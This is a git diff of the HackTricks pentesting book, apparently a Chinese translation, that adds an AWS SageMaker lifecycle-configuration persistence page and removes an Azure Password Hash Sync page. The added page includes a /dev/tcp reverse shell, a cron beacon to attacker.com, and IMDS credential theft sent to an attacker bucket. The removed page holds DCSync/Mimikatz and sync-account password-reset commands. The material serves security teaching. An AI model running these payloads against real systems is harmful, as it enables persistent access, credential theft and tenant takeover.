diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 17225a2e2..582319269 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -442,11 +442,13 @@ - [Az - Permissions for a Pentest](pentesting-cloud/azure-security/az-permissions-for-a-pentest.md) - [Az - Lateral Movement (Cloud - On-Prem)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md) - [Az AD Connect - Hybrid Identity](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md) - - [Az- Synchronising New Users](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md) - - [Az - Default Applications](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md) + - [Az - Synchronising New Users](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md) - [Az - Cloud Kerberos Trust](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md) - [Az - Federation](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md) - - [Az - PHS - Password Hash Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md) + - [Az - Cloud Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-sync.md) + - [Az - Connect Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-connect-sync.md) + - [Az - Default Applications](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md) + - [Az - Domain Services](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-domain-services.md) - [Az - PTA - Pass-through Authentication](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md) - [Az - Seamless SSO](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md) - [Az - Arc vulnerable GPO Deploy Script](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md) diff --git a/src/images/discount.jpeg b/src/images/discount.jpeg new file mode 100644 index 000000000..5c0b098d4 Binary files /dev/null and b/src/images/discount.jpeg differ diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md new file mode 100644 index 000000000..0c97b06c4 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md @@ -0,0 +1,156 @@ +# AWS - SageMaker 生命周期配置持久性 + +## 持久性技术概述 + +本节概述了通过滥用生命周期配置(LCCs)在 SageMaker 中获得持久性的方法,包括反向 shell、cron 作业、通过 IMDS 进行的凭证窃取和 SSH 后门。这些脚本以实例的 IAM 角色运行,并可以在重启后保持持久性。大多数技术需要出站网络访问,但在 AWS 控制平面上使用服务仍然可以在环境处于“仅 VPC”模式时取得成功。 +#### 注意:SageMaker 笔记本实例本质上是专门为机器学习工作负载配置的托管 EC2 实例。 + +## 所需权限 +* 笔记本实例: +``` +sagemaker:CreateNotebookInstanceLifecycleConfig +sagemaker:UpdateNotebookInstanceLifecycleConfig +sagemaker:CreateNotebookInstance +sagemaker:UpdateNotebookInstance +``` +* Studio Applications: +``` +sagemaker:CreateStudioLifecycleConfig +sagemaker:UpdateStudioLifecycleConfig +sagemaker:UpdateUserProfile +sagemaker:UpdateSpace +sagemaker:UpdateDomain +``` +## 设置笔记本实例的生命周期配置 + +### 示例 AWS CLI 命令: +```bash +# Create Lifecycle Configuration* + +aws sagemaker create-notebook-instance-lifecycle-config \ +--notebook-instance-lifecycle-config-name attacker-lcc \ +--on-start Content=$(base64 -w0 reverse_shell.sh) + + +# Attach Lifecycle Configuration to Notebook Instance* + +aws sagemaker update-notebook-instance \ +--notebook-instance-name victim-instance \ +--lifecycle-config-name attacker-lcc +``` +## 在 SageMaker Studio 上设置生命周期配置 + +生命周期配置可以在不同级别和不同应用类型的 SageMaker Studio 中附加。 + +### Studio 域级别(所有用户) +```bash +# Create Studio Lifecycle Configuration* + +aws sagemaker create-studio-lifecycle-config \ +--studio-lifecycle-config-name attacker-studio-lcc \ +--studio-lifecycle-config-app-type JupyterServer \ +--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh) + + +# Apply LCC to entire Studio Domain* + +aws sagemaker update-domain --domain-id --default-user-settings '{ +"JupyterServerAppSettings": { +"DefaultResourceSpec": {"LifecycleConfigArn": ""} +} +}' +``` +### Studio Space Level (个人或共享空间) +```bash +# Update SageMaker Studio Space to attach LCC* + +aws sagemaker update-space --domain-id --space-name --space-settings '{ +"JupyterServerAppSettings": { +"DefaultResourceSpec": {"LifecycleConfigArn": ""} +} +}' +``` +## Studio 应用程序生命周期配置的类型 + +生命周期配置可以具体应用于不同的 SageMaker Studio 应用程序类型: +* JupyterServer: 在 Jupyter 服务器启动期间运行脚本,适合用于持久性机制,如反向 shell 和 cron 作业。 +* KernelGateway: 在内核网关应用程序启动期间执行,适用于初始设置或持久访问。 +* CodeEditor: 应用于代码编辑器 (Code-OSS),启用在代码编辑会话开始时执行的脚本。 + +### 每种类型的示例命令: + +### JupyterServer +```bash +aws sagemaker create-studio-lifecycle-config \ +--studio-lifecycle-config-name attacker-jupyter-lcc \ +--studio-lifecycle-config-app-type JupyterServer \ +--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh) +``` +### KernelGateway +```bash +aws sagemaker create-studio-lifecycle-config \ +--studio-lifecycle-config-name attacker-kernelgateway-lcc \ +--studio-lifecycle-config-app-type KernelGateway \ +--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh) +``` +### 代码编辑器 +```bash +aws sagemaker create-studio-lifecycle-config \ +--studio-lifecycle-config-name attacker-codeeditor-lcc \ +--studio-lifecycle-config-app-type CodeEditor \ +--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh) +``` +### 关键信息: +* 在域或空间级别附加LCC会影响范围内的所有用户或应用程序。 +* 需要更高的权限(sagemaker:UpdateDomain, sagemaker:UpdateSpace),通常在空间级别比在域级别更可行。 +* 网络级别的控制(例如,严格的出口过滤)可以防止成功的反向Shell或数据外泄。 + +## 通过生命周期配置进行反向Shell + +SageMaker生命周期配置(LCC)在笔记本实例启动时执行自定义脚本。具有权限的攻击者可以建立持久的反向Shell。 + +### 有效载荷示例: +``` +#!/bin/bash +ATTACKER_IP="" +ATTACKER_PORT="" +nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 & +``` +## Cron Job Persistence via Lifecycle Configuration + +攻击者可以通过 LCC 脚本注入 cron 作业,确保恶意脚本或命令的定期执行,从而实现隐秘的持久性。 + +### Payload Example: +``` +#!/bin/bash +PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py" +CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH" +CRON_JOB="*/30 * * * * $CRON_CMD" + +mkdir -p /home/ec2-user/SageMaker/.local_tasks +echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH +chmod +x $PAYLOAD_PATH + +(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user - +``` +## 通过 IMDS (v1 & v2) 进行凭证外泄 + +生命周期配置可以查询实例元数据服务 (IMDS) 以检索 IAM 凭证并将其外泄到攻击者控制的位置。 + +### 有效载荷示例: +```bash +#!/bin/bash +ATTACKER_BUCKET="s3://attacker-controlled-bucket" +TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600") +ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/) +curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json + +# Exfiltrate via S3* + +aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json + +# Alternatively, exfiltrate via HTTP POST* + +curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload +``` + diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md deleted file mode 100644 index f4f928ff0..000000000 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md +++ /dev/null @@ -1,114 +0,0 @@ -# Az - PHS - 密码哈希同步 - -{{#include ../../../../banners/hacktricks-training.md}} - -## 基本信息 - -[来自文档:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **密码哈希同步** 是实现混合身份的一种登录方法。 **Azure AD Connect** 将用户密码的哈希值的哈希值从本地 Active Directory 实例同步到基于云的 Azure AD 实例。 - -
- -这是公司用来将本地 AD 与 Azure AD 同步的 **最常见方法**。 - -所有 **用户** 和 **密码哈希的哈希值** 都从本地同步到 Azure AD。然而,**明文密码** 或 **原始** **哈希** 不会发送到 Azure AD。\ -此外,**内置** 安全组(如域管理员...)不会 **同步** 到 Azure AD。 - -**哈希同步** 每 **2 分钟** 发生一次。然而,默认情况下,**密码过期** 和 **帐户** **过期** 在 Azure AD 中 **不同步**。因此,**本地密码已过期**(未更改)的用户可以继续使用旧密码 **访问 Azure 资源**。 - -当本地用户想要访问 Azure 资源时,**身份验证在 Azure AD 上进行**。 - -**PHS** 是 **身份保护** 和 AAD 域服务等功能所必需的。 - -## 侧向移动 - -当配置 PHS 时,一些 **特权帐户** 会自动 **创建**: - -- 帐户 **`MSOL_`** 会自动在本地 AD 中创建。该帐户被赋予 **目录同步帐户** 角色(请参见 [文档](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)),这意味着它在本地 AD 中具有 **复制(DCSync)权限**。 -- 帐户 **`Sync__installationID`** 在 Azure AD 中创建。该帐户可以 **重置 Azure AD 中任何用户**(同步或仅云)的密码。 - -前两个特权帐户的密码 **存储在 SQL 服务器** 上,该服务器是 **Azure AD Connect 安装的服务器**。管理员可以提取这些特权用户的明文密码。\ -数据库位于 `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`。 - -可以从其中一个表中提取配置,其中一个是加密的: - -`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;` - -**加密配置** 使用 **DPAPI** 加密,包含本地 AD 中 **`MSOL_*`** 用户的 **密码** 和 AzureAD 中 **Sync\_\*** 的密码。因此,妥协这些密码可以提升到 AD 和 AzureAD 的权限。 - -您可以在 [此演讲中找到有关这些凭据如何存储和解密的完整概述](https://www.youtube.com/watch?v=JEIR5oGCwdg)。 - -### 查找 **Azure AD Connect 服务器** - -如果 **安装 Azure AD Connect 的服务器** 加入了域(文档中推荐),可以通过以下方式找到它: -```bash -# ActiveDirectory module -Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl - -#Azure AD module -Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"} -``` -### 滥用 MSOL\_* -```bash -# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module -Get-AADIntSyncCredentials - -# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD -runas /netonly /user:defeng.corp\MSOL_123123123123 cmd -Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"' -``` -> [!CAUTION] -> 您还可以使用 [**adconnectdump**](https://github.com/dirkjanm/adconnectdump) 来获取这些凭据。 - -### 滥用 Sync\_\* - -妥协 **`Sync_*`** 账户可以 **重置任何用户的密码**(包括全局管理员)。 -```bash -# This command, run previously, will give us alse the creds of this account -Get-AADIntSyncCredentials - -# Get access token for Sync_* account -$passwd = ConvertTo-SecureString '' -AsPlainText - Force -$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd) -Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache - -# Get global admins -Get-AADIntGlobalAdmins - -# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID) -Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId - -# Reset the users password -Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose - -# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync) -``` -也可以**仅修改云**用户的密码(即使这出乎意料) -```bash -# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID -# The CloudAnchor is of the format USER_ObjectID. -Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID - -# Reset password -Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers -``` -可以导出该用户的密码。 - -> [!CAUTION] -> 另一个选项是**为服务主体分配特权权限**,而**Sync**用户有**权限**这样做,然后**访问该服务主体**作为特权提升的方法。 - -### 无缝单点登录 - -可以使用PHS进行无缝单点登录,这对其他滥用是脆弱的。请查看: - -{{#ref}} -seamless-sso.md -{{#endref}} - -## 参考文献 - -- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs) -- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/) -- [https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf](https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf) -- [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8) - -{{#include ../../../../banners/hacktricks-training.md}} diff --git a/theme/ai.js b/theme/ai.js index 13337c3f1..02f51127e 100644 --- a/theme/ai.js +++ b/theme/ai.js @@ -1,3 +1,104 @@ +/** + * HackTricks Training Discounts + */ + + +(() => { + const KEY = 'htSummerDiscountsDismissed'; + const IMG = '/images/discount.jpeg'; + const TXT = 'Click here for HT Summer Discounts, Last Days!'; + const URL = 'https://training.hacktricks.xyz'; + + /* Stop if user already dismissed */ + if (localStorage.getItem(KEY) === 'true') return; + + /* Quick helper */ + const $ = (tag, css = '') => Object.assign(document.createElement(tag), { style: css }); + + /* --- Overlay (blur + dim) --- */ + const overlay = $('div', ` + position: fixed; inset: 0; + background: rgba(0,0,0,.4); + backdrop-filter: blur(6px); + display: flex; justify-content: center; align-items: center; + z-index: 10000; + `); + + /* --- Modal --- */ + const modal = $('div', ` + max-width: 90vw; width: 480px; + background: #fff; border-radius: 12px; overflow: hidden; + box-shadow: 0 8px 24px rgba(0,0,0,.35); + font-family: system-ui, sans-serif; + display: flex; flex-direction: column; align-items: stretch; + `); + + /* --- Title bar (link + close) --- */ + const titleBar = $('div', ` + position: relative; + padding: 1rem 2.5rem 1rem 1rem; /* room for the close button */ + text-align: center; + background: #222; color: #fff; + font-size: 1.3rem; font-weight: 700; + `); + + const link = $('a', ` + color: inherit; + text-decoration: none; + display: block; + `); + link.href = URL; + link.target = '_blank'; + link.rel = 'noopener noreferrer'; + link.textContent = TXT; + titleBar.appendChild(link); + + /* Close "X" (no persistence) */ + const closeBtn = $('button', ` + position: absolute; top: .25rem; right: .5rem; + background: transparent; border: none; + color: #fff; font-size: 1.4rem; line-height: 1; + cursor: pointer; padding: 0; margin: 0; + `); + closeBtn.setAttribute('aria-label', 'Close'); + closeBtn.textContent = '✕'; + closeBtn.onclick = () => overlay.remove(); + titleBar.appendChild(closeBtn); + + /* --- Image --- */ + const img = $('img'); + img.src = IMG; img.alt = TXT; img.style.width = '100%'; + + /* --- Checkbox row --- */ + const label = $('label', ` + display: flex; align-items: center; justify-content: center; gap: .6rem; + padding: 1rem; font-size: 1rem; color: #222; cursor: pointer; + `); + const cb = $('input'); cb.type = 'checkbox'; cb.style.scale = '1.2'; + cb.onchange = () => { + if (cb.checked) { + localStorage.setItem(KEY, 'true'); + overlay.remove(); + } + }; + label.append(cb, document.createTextNode("Don't show again")); + + /* --- Assemble & inject --- */ + modal.append(titleBar, img, label); + overlay.appendChild(modal); + + if (document.readyState === 'loading') { + document.addEventListener('DOMContentLoaded', () => document.body.appendChild(overlay), { once: true }); + } else { + document.body.appendChild(overlay); + } +})(); + + + + + + /** * HackTricks AI Chat Widget v1.16 – resizable sidebar * ---------------------------------------------------